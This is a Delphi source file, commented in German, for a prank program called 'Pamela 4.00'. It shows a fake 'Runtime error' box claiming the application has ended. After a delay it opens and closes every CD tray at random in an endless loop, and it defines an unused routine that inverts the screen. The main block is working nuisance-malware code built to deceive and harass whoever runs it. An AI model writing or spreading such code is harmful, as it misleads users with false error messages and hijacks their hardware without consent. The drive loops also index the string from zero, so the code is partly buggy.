program Pamela;

uses windows,
  mmsystem;

CONST
  TITLE = 'Pamela 4.00';
       
{$R *.RES}

var Laufwerke: String;

// Schublade öffnen (ohne wait)
procedure CDOpen(Laufwerk: Char);
begin
  MCISendString(PChar('open ' + Laufwerk + ':\ type cdaudio alias geraet'), nil, 0, 0);
  MCISendString('set geraet door open', nil, 0, 0);
  MCISendString('close geraet', nil, 0, 0);
end;

procedure CDOpenAll;
var i: byte;
begin
  i:= 0;
  while i <= length(Laufwerke) do
    begin
      CDOpen(Laufwerke[i]);
      inc(i);
    end
end;

// Schublade schließen (ohne wait)
procedure CDClose(Laufwerk: Char);
begin
  MCISendString(PChar('open ' + Laufwerk + ':\ type cdaudio alias geraet'), nil, 0, 0);
  MCISendString('set geraet door closed',nil, 0, 0);
  MCISendString('close geraet', nil, 0, 0);
end;

procedure CDCloseAll;
var i: byte;
begin
  i:= 0;
  while i <= length(Laufwerke) do
    begin
      CDClose(Laufwerke[i]);
      inc(i);
    end
end;

// Alle CD-Laufwerke als String, Beispiel: 'DGF'
function GetCDDrives: string;
var i: byte; Drives: string;
begin
  Drives:='';
  for i:= 65 to 90 do
    if GetDriveType(Pchar(chr(i) + ':\')) = DRIVE_CDROM
      then Drives:= Drives + chr(i);
  result:= Drives;
end;

// Support Section
// --------------------------------------------------------------------------

procedure monitorDistortion;
var
  verbindung : hdc;
  i: integer;
begin
  verbindung := GetDc(0);
  for i:= 1 to 10 do
    begin
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, notsrccopy);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, notsrcerase);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, srcpaint);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, notsrccopy);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, notsrcerase);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, srcpaint);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0 , 0, notsrccopy);
      BitBlt(verbindung, 0, 0, getSystemMetrics(SM_CXSCREEN), getSystemMetrics(SM_CYSCREEN), verbindung, 0, 0, dstinvert);
    end;
  ReleaseDc(0, verbindung);
end;

// Main Section
// --------------------------------------------------------------------------

var actionTimeFrame: longint;
         
procedure Delay(ms : longint);
{$IFNDEF WIN32}
var TheTime : LongInt;
{$ENDIF}
begin
  {$IFDEF WIN32}
  Sleep(ms);
  {$ELSE}
  TheTime := GetTickCount + ms;
  while GetTickCount < TheTime do
    Application.ProcessMessages;
  {$ENDIF}
end;

begin
    Laufwerke:= GetCDDrives;
    messagebox(0, pchar('Runtime error at 215467:5613667. Application terminated'), pchar(TITLE), mb_iconError + mb_OK);
    Delay(21000 + random(7000));
    CDOpenAll;
    while 1 < 21 do
      case random(8) + 1 of
        1: CDOpen(Laufwerke[random(length(Laufwerke))+1]);
        2: CDClose(Laufwerke[random(length(Laufwerke))+1]);
        3: begin CDOpen(Laufwerke[1]); CDClose(Laufwerke[1]) end;
        4: begin CDOpen(Laufwerke[random(length(Laufwerke))+1]); CDClose(Laufwerke[random(length(Laufwerke))+1]) end;
        5: CDOpenAll;
        6: CDCloseAll;
        7: begin CDOpenAll; CDClose(Laufwerke[random(length(Laufwerke))+1]) end;
        8: begin CDCloseAll; CDOpen(Laufwerke[random(length(Laufwerke))+1]) end;
        else CDOpenAll;
      end
end.